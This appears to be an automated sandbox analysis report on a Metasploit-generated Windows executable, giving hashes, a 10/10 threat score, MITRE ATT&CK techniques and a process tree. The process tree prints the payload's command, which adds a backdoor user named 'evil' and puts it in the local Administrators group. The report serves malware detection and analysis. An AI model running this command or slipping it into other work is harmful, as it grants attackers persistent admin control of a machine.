metasploit | d1b9fc5a5e948d3039dd523ec96c4fad1c35458a10fa5a8a0bfeec03e3e6a600

Analysis

max time kernel
119s
max time network
125s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
03/01/2025, 05:31

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General

Target

JaffaCakes118_6a83c02c4bcf0e9f06509bf767f984e7.exe
Size

72KB
MD5

6a83c02c4bcf0e9f06509bf767f984e7
SHA1

25a666e067c921b2bad9f72880df29debb1170d8
SHA256

d1b9fc5a5e948d3039dd523ec96c4fad1c35458a10fa5a8a0bfeec03e3e6a600
SHA512

0125f4a7690ff0fdc254e24d69720735f290d991920e3bd97766e70620bba54c16ebd738ee14eb7dc78e4350def3cf594680b09b37fbcf5ce2f19014b495f4f4
SSDEEP

1536:Ipv4gDankxXUsdiqKGrz20xPb2cM0QNSYgPIaRMb+KR0Nc8QsJq39:qvnankxksz720xVxQhgPIAe0Nc8QsC9

Score

10^/10

metasploit backdoor discovery trojan

Malware Config

Extracted

Family

metasploit

Version

windows/exec

Signatures

MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit
Metasploit family
metasploit
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098
Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	JaffaCakes118_6a83c02c4bcf0e9f06509bf767f984e7.exe

Runs net.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2736 wrote to memory of 2940	2736	JaffaCakes118_6a83c02c4bcf0e9f06509bf767f984e7.exe	30
PID 2736 wrote to memory of 2940	2736	JaffaCakes118_6a83c02c4bcf0e9f06509bf767f984e7.exe	30
PID 2736 wrote to memory of 2940	2736	JaffaCakes118_6a83c02c4bcf0e9f06509bf767f984e7.exe	30
PID 2736 wrote to memory of 2940	2736	JaffaCakes118_6a83c02c4bcf0e9f06509bf767f984e7.exe	30
PID 2940 wrote to memory of 2744	2940	cmd.exe	32
PID 2940 wrote to memory of 2744	2940	cmd.exe	32
PID 2940 wrote to memory of 2744	2940	cmd.exe	32
PID 2940 wrote to memory of 2744	2940	cmd.exe	32
PID 2744 wrote to memory of 2456	2744	net.exe	33
PID 2744 wrote to memory of 2456	2744	net.exe	33
PID 2744 wrote to memory of 2456	2744	net.exe	33
PID 2744 wrote to memory of 2456	2744	net.exe	33
PID 2940 wrote to memory of 2792	2940	cmd.exe	34
PID 2940 wrote to memory of 2792	2940	cmd.exe	34
PID 2940 wrote to memory of 2792	2940	cmd.exe	34
PID 2940 wrote to memory of 2792	2940	cmd.exe	34
PID 2792 wrote to memory of 2780	2792	net.exe	35
PID 2792 wrote to memory of 2780	2792	net.exe	35
PID 2792 wrote to memory of 2780	2792	net.exe	35
PID 2792 wrote to memory of 2780	2792	net.exe	35

C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_6a83c02c4bcf0e9f06509bf767f984e7.exe
"C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_6a83c02c4bcf0e9f06509bf767f984e7.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2736
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net user evil ccdl2716 /ADD && net localgroup Administrators evil /ADD
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2940
- - C:\Windows\SysWOW64\net.exe
    net user evil ccdl2716 /ADD
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2744
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 user evil ccdl2716 /ADD
      4⤵
      System Location Discovery: System Language Discovery
      PID:2456
- - C:\Windows\SysWOW64\net.exe
    net localgroup Administrators evil /ADD
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2792
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 localgroup Administrators evil /ADD
      4⤵
      System Location Discovery: System Language Discovery
      PID:2780

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Account Manipulation

T1098

Privilege Escalation

Account Manipulation

T1098

Defense Evasion

Credential Access

Discovery

Permission Groups Discovery

T1069

Local Groups

T1069.001

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2736-0-0x0000000000020000-0x0000000000021000-memory.dmp

Filesize
4KB

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